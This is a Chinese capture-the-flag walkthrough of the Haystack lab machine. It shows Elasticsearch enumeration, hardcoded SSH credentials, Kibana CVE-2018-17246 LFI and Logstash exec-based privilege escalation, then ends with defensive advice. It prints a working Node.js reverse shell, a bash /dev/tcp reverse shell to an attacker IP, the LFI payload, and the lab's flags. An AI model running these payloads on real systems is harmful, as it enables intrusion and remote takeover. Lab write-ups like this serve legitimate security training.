[Meachines] [Easy] Haystack Elasticsearch cat API+TRP00F权限提升+Kibana LFI+Logstash权限提升
字数 1121 2025-08-29 08:30:30
Elasticsearch 安全漏洞利用与权限提升综合指南
1. 信息收集阶段
1.1 目标识别与端口扫描
目标IP: 10.10.10.115
开放端口:
- 22/tcp: OpenSSH 7.4
- 80/tcp: nginx 1.12.2
- 9200/tcp: nginx 1.12.2 (运行Elasticsearch服务)
扫描命令:
ip='10.10.10.115'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
1.2 Elasticsearch API 信息收集
Elasticsearch cat API 端点:
- 基本URL:
http://10.10.10.115:9200/ - 文档参考: https://www.elastic.co/guide/en/elasticsearch/reference/6.4/cat.html
常用查询命令:
# 查询集群中的索引模板
curl http://10.10.10.115:9200/_cat/
# 查询所有索引
curl http://10.10.10.115:9200/_cat/indices
# 从quotes索引获取253条记录并保存
curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits[]._source.quote' > /tmp/quotes
2. 初始访问
2.1 获取凭据
发现硬编码凭据:
username: security
password: spanish.is.key
Base64编码形式:
dXNlcjogc2VjdXJpdHk=
cGFzczogc3BhbmlzaC5pcy5rZXk=
2.2 SSH登录
使用获取的凭据通过SSH登录:
ssh security@10.10.10.115
3. 权限提升技术
3.1 TRP00F 提权工具
使用TRP00F进行权限提升:
python3 trp00f.py --lhost 10.10.16.33 --lport 10000 --rhost 10.10.16.33 --rport 10032 --http 9999
当询问是否利用'pkexec'漏洞时选择'y'
GitHub项目: https://github.com/MartinxMax/trp00f
3.2 Kibana 6.4.2 LFI漏洞利用
Kibana本地文件包含(LFI)漏洞利用步骤:
- 创建反向shell脚本:
cat > /dev/shm/shell.js <<EOF
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.16.33", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
EOF
- 利用LFI漏洞执行脚本:
curl 'http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=dev/shm/shell.js'
参考: CVE-2018-17246 (https://github.com/mpgn/CVE-2018-17246)
3.3 Logstash 权限提升
利用Logstash配置漏洞进行权限提升:
- 创建恶意输入文件:
echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.16.33/10033 0>&1' > /opt/kibana/logstash_rev
- Logstash配置分析:
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
output {
if [type] == "execute" {
stdout { codec => json }
exec { command => "%{comando}" }
}
}
关键点:
- Logstash监控
/opt/kibana/logstash_*文件 - 文件内容匹配特定格式时会执行命令
- 命令执行部分:
exec { command => "%{comando}" }
4. 获取标志
- 用户标志(User.txt):
1091e84b2be43c7954961bbcca7d2f8c - 根标志(Root.txt):
e61a148a34817a121876b7721db6445a
5. 防御建议
-
Elasticsearch安全措施:
- 不要将Elasticsearch暴露在公网
- 启用身份验证和授权
- 限制API访问
-
Kibana安全措施:
- 及时更新到最新版本
- 限制访问权限
- 禁用不必要的API
-
Logstash安全措施:
- 审查配置文件中的命令执行功能
- 限制文件输入源的权限
- 使用最小权限原则运行服务
-
系统层面:
- 定期更新系统和软件
- 避免使用弱密码或硬编码凭据
- 监控可疑活动